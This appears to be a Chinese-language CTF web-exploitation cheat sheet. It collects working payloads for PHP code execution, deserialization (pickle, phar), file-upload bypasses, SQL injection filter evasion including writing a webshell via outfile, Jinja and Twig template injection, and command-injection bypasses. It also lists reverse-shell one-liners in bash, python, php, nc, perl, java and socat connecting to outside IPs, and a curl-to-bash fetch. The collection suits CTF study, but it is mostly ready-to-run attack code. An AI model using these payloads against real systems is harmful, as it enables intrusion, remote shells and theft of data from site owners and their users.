之前写的一些小技巧吧,记录一下,有机会会继续补充的!
绕过preg_replace('/('.$re.')/ei','strtolower("\\1")',$str);
执行phpinfo的payload:\S*=${phpinfo()}
参考: 深入研究preg_replace与代码执行
mt_srand(seed)
mt_rand()
只要种子一样,那么生成的随机数是不会变的,所以我们可以利用php_mt_rand4.0进行爆破种子
比如:
mt_srand(12345)
mt_rand()
第一个肯定是1996335345
伪造IP:
一般我们都知道可以用XXF伪造IP:X-Forwarded-For:127.0.0.1
当XXF被过滤的时候我们可以利用Client-IP: 127.0.0.1和X-Real-IP: 127.0.0.1进行绕过
代码如下:
if (is_numeric($password)) {
echo "password can't be number";
}elseif ($password == 404) {
echo "Password Right!";
}
传入password=404%0a即可绕过
采用科学计数法, 100000000 可以表示成10e8
利用php://input协议进行绕过
POST /?text=php://input
xxxx
data://text/plain协议也可以绕过
?text=data://text/plain;base64,xxxx的base64加密
在线解密:https://jwt.io/
爆破工具以及安装方法:
git clone "https://github.com/brendan-rius/c-jwt-cracker"
apt-get install libssl-dev
make
原理:Hash Length Extension Attack
工具安装:
git clone https://github.com/bwall/HashPump
apt-get install g++ libssl-dev
cd HashPump
make
make install
使用方法:
比如:md5(secert_key+scan)
secert_key为16位、需要把read拓展进去,也就是变成md5(secert_key+scan+read)
hashdump
input Signature: md5(secert_key+scan)值
input Date: scan
input Key Length: 16
Input Data to add: read ———— 输入完毕Enter即可
?num=1000000000000000.00000000000000010
$md5=0e1138100474
$md5=0e215962016
第一种关键词过滤,变少的
就是由于关键词过滤,导致字符变少的,比如说php置换为空,flag置换为空,这种都有可能导致字符逃逸
代表题目[安洵杯 2019]easy_serialize_php
第二种关键词过滤,变多的
比如说0ctf中的piapiapia,由于where–>hacker导致字符数增加,根据反序列化的特性:反序列化中值的字符读取多少其实是由表示长度的数字控制的 ,;}
之后的不会起作用。
代表题目0CTF piapiapia、i春秋2020新春公益赛 babyphp
主要就是由于session处理器不同所导致的问题,比如说系统默认为 php_serialize,而页面中却设置为php,那么就极有可能导致安全问题。具体原理参考文章:PHP Session 序列化及反序列化处理器设置使用不当带来的安全隐患
代表题目:Jarvis OJ WEB PHPINFO
import pickle
import urllib
class test(object):
def __reduce__(self):
return (eval, ("open('/flag.txt','r').read()",))
payload=pickle.dumps(test())
payload=urllib.quote(payload)
print payload
要将php.ini中的phar.readonly选项设置为Off,否则无法生成phar文件
db = new FileList();
$phar = new Phar("1.phar");
$phar->startBuffering();
$phar->setStub("");
$phar->setMetadata($a);
$phar->addFromString("test.txt","test");
$phar->stopBuffering();
?>
将phar上传,通过phar://伪协议解析phar文件时,会将meta-data进行反序列化
注:只有以下函数通过phar://伪协议解析phar文件才会将meta-data进行反序列化
fileatime、filectime、file_exists、file_get_contents、file_put_contents、file、filegroup、fopen、fileinode、filemtime、fileowner、fileperms、is_dir、is_executable、is_file、is_link、is_ readable、is_writable、is_writeable、parse_ini_file、copy、unlink、stat、readfile
有时在上传的过程中会出现php
关键词过滤,这时候可以尝试一下短标签=?>
?>
需要short_open_tag = On
如果asp_tags=On那么还支持<%%>
的写法
1、
2、对内容进行base64编码,解析时再解码
一般使用GIF89a进行绕过,不过不适用于.htaccess文件上传,如果这样上传会导致.htaccess无法生效
.htaccess中绕过文件头检测:
1、在.htaccess前添加
#define width 1337
#define height 1337
#在.htaccess是注释符,所以.htaccess文件可以生效
2、在.htaccess前添加x00x00x8ax39x8ax39(要在十六进制编辑器中添加,或者使用python的bytes类型)
x00x00x8ax39x8ax39是wbmp文件的文件头
.htaccess中以0x00开头的同样也是注释符,所以不会影响.htaccess
phtml、php5、php7等
nginx的服务器,而且上传目录下有一个php文件,故可以上传.user.ini
GIF89a
auto_prepend_file=1.gif #php页面自动包含文件
apache的服务器,可以上传.htaccess
同时绕过对
第二种:
类似于把文件名后缀1解析成php
SetHandler application/x-httpd-php
如果支持shtml,那么可以上传一个shtml文件,里面进行ssi注入:
将文本内容直接插入到文档中<#include>
直接执行服务器上的各种程序<#exec>(如CGI或其他可执行程序)
php://filter/read=convert.base64-encode/resource=文件
file=../../../../../var/log/nginx/access.log
单引号被过滤:
并不一定就能够防止sql注入
当sql语句为:select * from users where username='xxxx' and password='xxxx'时
我们可以使用\进行绕过,构造username=admin\,password=or 1=1#
这是sql语句就会变成:
select * from users where username='admin\' and password='or 1=1#'成功绕过
select被过滤:
这个时候可以盲猜表名进行盲注
如果时堆叠注入可以使用handler代替select查询:
1'; handler FlagHere open as hack; handler hack read first; handler hack close;
=被过滤:
可以用like进行绕过
and被过滤:
可以使用&&绕过
or被过滤:
可以使用||绕过
or被过滤意味着information不能使用,不过可以用mysql.innodb_table_stats和sys.schema_auto_increment_columns
in被过滤:
同样意味着information不能使用,不过可以使用sys.schema_table_statistics_with_buffer代替
空格绕过:
/**/
如果过长无法显示可以使用substr、mid剪切,或者使用left、right
select * from flllllllag where id=1 and if((substr((flag),1,1) regexp "^f"), sleep(5),1)
常用的无字段名注入都依赖于union select,如果不允许union和select同时出现,那可以使用如下方法
如果表中只有一列可以 SUBSTR((SELECT * FROM table),1,1)='x'
如果由两列: 需要将查询语句与相同数量的列进行比较,再配合 <=
进行盲注
如果说数据库中的table2中有两列,一个id,一个flag,这可以采用如下方法进行盲注
执行select (select '1','e~')>(select * from table2 limit 1)显示0
执行select (select '1','f~')>(select * from table2 limit 1)显示1
执行select (select '1','fl~')>(select * from table2 limit 1)显示1
不过注意一点mysql默认是不区分大小写的,所以我们可以转化成16进制再执行
check过滤了:
'/union|select|mid|substr|and|or|sleep|benchmark|join|limit|#|-|\^|&|database/i'
if(check($id)){
$query = "select balabala from table1 where 1=?";
$db->query("set names gbk");
$row = $db->prepare($query);
$row->bindParam(1,$id);
$row->execute();
}
如果没有过滤那么可以使用宽字节进行注入
但是这里过滤了很多的东西,基本都过滤了,但是我们可以利用
SET @x=执行SQL语句的16进制;PREPARE a FROM @x;EXECUTE a;进行注入
有时候权限可以使用该函数时,可以直接读取文件:load_file(’/var/www/html/xxx.php’)
奇葩注入,上传图片,然后在EXIF的comment中写入注入语句即可
CTFshow中的题目,利用工具:exiftools,payload:
exiftool -overwrite_original -comment="A_dmin\"');select 0x3C3F3D60245F504F53545B305D603B into outfile '/var/www/html/1.php';--+"
sqlite_master是sqlite数据库中的一个隐藏表,,,,有如下字段:type/name/tbl_name/rootpage/sql
usr=' union select name,sql from sqlite_master--+&pw=admin
查询语句:
usr=' union select id,id from Users--+&pw=admin
usr=' union select id,name from Users--+&pw=admin
usr=' union select id,password from Users--+&pw=admin
usr=' union select id,hint from Users--+&pw=admin
对应结果:
name=+1;
name=+admin;
name=+3fab54a50e770d830c0416df817567662a9dc85c;
name=+my fav word in my fav paper?!;
数据库语句可能为:
INSERT INTO `xxx`(`id`, `name`) VALUES ('id号','图片名')
注入方法:
conv函数将16进制转化为10进制进行输出
'+(conv(substr(hex(database()),1,12),16,10))+'.jpg
出现如下代码时,并且对参数没有过滤时:
print(sprintf("$url method&content_size:$method%d", $detect));
可以传递$method=GET%s%,在ssrf题目中可以读取内网的文件
代码如下:
$a = $_GET['yds_is_so_beautiful'];
echo unserialize($a);
这里有个echo,应该是包含__toString的,那我们可以使用Error和Exception类,直接用Exception,因为Error只适用于php7
window.location.href='IP'+document.cookie"));
echo urlencode($a);
?>
将结果传递就行
空格绕过
$IFS、$IFS$9g、 ${IFS}
关键词绕过,使用变量拼接,如flag被过滤:
a=g;cat fla$a.php
cat被过滤可以使用cut,more,tail,head等命令
cat `ls` 会查看ls出来的文件
即只能通过无参函数来进行命令执行
查看当前目录:var_dump(scandir(current(localeconv())));
读取倒数第二个文件:readfile(next(array_reverse(scandir(current(localeconv())))));
、
readfile(next(array_reverse(scandir(getcwd()))));
还有session_id(session_start())
也能够利用
还有getallheaders
:
请求头最后添加:
hacker: system('cat flag.php');
payload=eval(end(getallheaders()));
接收端创建文件shell.txt写入bash -i >& /dev/tcp/[ip]/[port] 0>&1
在命令执行处执行curl http://接收端IP/shell.txt|bash
一般采用异或、自增、取反进行绕过
异或脚本:
function finds($string){
$index = 0;
$a=[33,35,36,37,40,41,42,43,45,47,58,59,60,62,63,64,92,93,94,123,125,128,129,130,131,132,133,134,135,136,137,138,139,140,141,142,143,144,145,146,147,148,149,150,151,152,153,154,155,156,157,158,159,160,161,162,163,164,165,166,167,168,169,170,171,172,173,174,175,176,177,178,179,180,181,182,183,184,185,186,187,188,189,190,191,192,193,194,195,196,197,198,199,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255];
for($i=27;$i<count($a);$i++){
for($j=27;$j<count($a);$j++){
$x = $a[$i] ^ $a[$j];
for($k = 0;$k<strlen($string);$k++){
if(ord($string[$k]) == $x){
echo $string[$k]."\n";
echo '%' . dechex($a[$i]) . '^%' . dechex($a[$j])."\n";
$index++;
if($index == strlen($string)){
return 0;
}
}
}
}
}
}
finds("_GET");
?>
自增:
$_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; $___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);//assert($_POST[_]);
payload:
chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');echo(file_get_contents('/THis_Is_tHe_F14g'));
?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs});&pi=system()&abs=ls /
本机监听:
nc -lvvp 8080
python:
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("174.1.175.38",1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.37.131",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
python一句话获取标准shell:
python -c "import pty;pty.spawn('/bin/bash')"
php:
php -r '$sock=fsockopen("192.168.37.131",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
bash直接反弹:
bash -i >& /dev/tcp/192.168.37.131/8080 0>&1
nc反弹:
nc 192.168.31.174 8080 -t -e /bin/bash
perl脚本反弹:
perl -e 'use Socket;$i="192.168.31.41";$p=8080;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
java脚本反弹:
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/192.168.31.41/8080;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
msfvenom 获取反弹一句话
msfvenom -p cmd/unix/reverse_xxxx lhost=1.1.1.1 lport=12345 R
socat 反弹一句话
# 第一步:下载socat到/tmp目录下
wget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /tmp/socat
# 第二步:给socaat授予可以执行权限
chmod 755 /tmp/socat
#第三步:反弹shell到目标主机的12345端口
/tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.31.41:12345
在 linux 系统中如果一个程序打开了一个文件没有关闭,即便从外部(上文是利用 rm -f flag.txt)删除之后,在 /proc 这个进程的 pid 目录下的 fd 文件描述符目录下还是会有这个文件的 fd,通过这个我们即可得到被删除文件的内容。
cat /proc/*/fd/*
查找报告xxx内容的文件内容
find /etc -name "*" | xargs grep "flag{"
比如说有个回显IP的: X-Forwarded-For:{{system("cat /flag")}}
提交 {{7*‘7’}} 得到49
payload:
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
提交 {{7*‘7’}} 得到7777777
payload:
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='_IterationGuard' %}
{{ c.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat /flag').read()") }}
{% endif %}
{% endfor %}
获取handler.settings环境变量 {{handler.settings}}
.bak、.swp、.php~
.swp文件恢复使用命令:vim -r .index.php.swp
恢复
常见的网站源码备份文件后缀
tar、tar.gz、zip、rar
常见的网站源码备份文件名
web、website、backup、back、www、wwwroot、temp
/home/www/.bash_history
/WEB-INF/web.xml: Web应用程序的配置文件
/WEB-INF/classes/: 包含站点所有的class文件
/WEB-INF/lib/: 存放需要的jar文件
/WEB-INF/src/: 源码目录
/WEB-INF/database.properties: 数据库配置文件